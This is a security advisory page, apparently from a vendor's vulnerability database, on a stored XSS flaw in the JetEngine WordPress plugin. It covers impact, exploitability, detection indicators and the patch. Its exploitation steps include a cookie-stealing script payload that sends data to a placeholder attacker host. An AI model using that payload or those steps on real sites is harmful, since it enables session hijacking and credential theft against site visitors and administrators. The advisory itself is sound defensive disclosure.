CVE-2025-54688
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-54688 is a Stored Cross-Site Scripting (XSS) vulnerability in the Crocoblock JetEngine WordPress plugin, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). It affects JetEngine versions up to and including 3.7.1.2, with version 3.7.2 containing the fix. The vulnerability was reported by researcher "stealthcopter" on July 4, 2025, and published by Patchstack on July 30, 2025; it was formally assigned a CVE and published to NVD on August 14, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

Technical details

The vulnerability is rooted in insufficient input sanitization and output escaping within the JetEngine plugin (CWE-79), allowing authenticated users with Contributor or higher privileges to inject and persistently store malicious JavaScript or HTML payloads. Because the injected content is stored server-side and rendered to site visitors, it qualifies as Stored XSS (CAPEC-592). Exploitation requires the attacker to have at least Contributor-level access to the WordPress site, and successful impact on victims requires a privileged user to view the affected content. No public proof-of-concept code has been identified at this time (Patchstack).

Impact

Successful exploitation allows an attacker to inject persistent malicious scripts into WordPress pages or posts, which execute in the browsers of any visitor — including administrators — who view the affected content. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious external resources. The scope extends beyond the attacker's own session, as stored payloads affect all users who encounter the injected content (Patchstack).

Exploitability

No active in-the-wild exploitation has been reported, and no public exploit code is known at this time. The EPSS score is approximately 0.031% (0.000310), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority, noting it is unlikely to be exploited despite XSS vulnerabilities of this class sometimes being used in mass-exploit campaigns targeting WordPress sites (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running JetEngine plugin version 3.7.1.2 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
  2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Inject malicious payload: Using the JetEngine plugin's content creation or editing interface, craft a post or page containing a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a field that is not properly sanitized.
  4. Publish or save content: Submit the content so the malicious script is stored in the WordPress database.
  5. Trigger execution: When a privileged user (e.g., administrator) or any site visitor views the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to content creation/editing endpoints (e.g., /wp-admin/post.php) from Contributor-level accounts containing suspicious script tags or encoded JavaScript payloads.
  • Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., &#x3C;script&#x3E;) stored in WordPress post or meta content fields associated with JetEngine.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages rendered by JetEngine, potentially indicating cookie or credential exfiltration.
  • File System: Unexpected modifications to JetEngine plugin files or WordPress theme files that may indicate post-exploitation persistence attempts.

Mitigation and workarounds

The vendor Crocoblock has released JetEngine version 3.7.2, which patches this vulnerability. All users running JetEngine 3.7.1.2 or earlier should update to version 3.7.2 or later immediately. As a temporary measure, site administrators can restrict Contributor-level user registration and review existing Contributor accounts for suspicious content. Patchstack users can enable auto-update for vulnerable plugins to receive protection automatically (Patchstack).

Community reactions

Patchstack, which operates an Active Vulnerability Disclosure Program (VDP) with Crocoblock, coordinated the disclosure and issued an early warning to its customers on July 30, 2025, prior to public CVE assignment. The vulnerability was credited to researcher "stealthcopter" who reported it on July 4, 2025. No significant broader media coverage or notable social media commentary has been identified beyond standard vulnerability database aggregation (Patchstack).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77115HIGH7.1
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-77116MEDIUM4.3
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-14853MEDIUM4.3
  • woocommerce-bookings
NoYesAug 23, 2026
CVE-2026-77003LOW2.7
  • content-mask
NoYesAug 23, 2026
CVE-2026-13598NONEN/A
  • restrictmate
NoYesAug 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management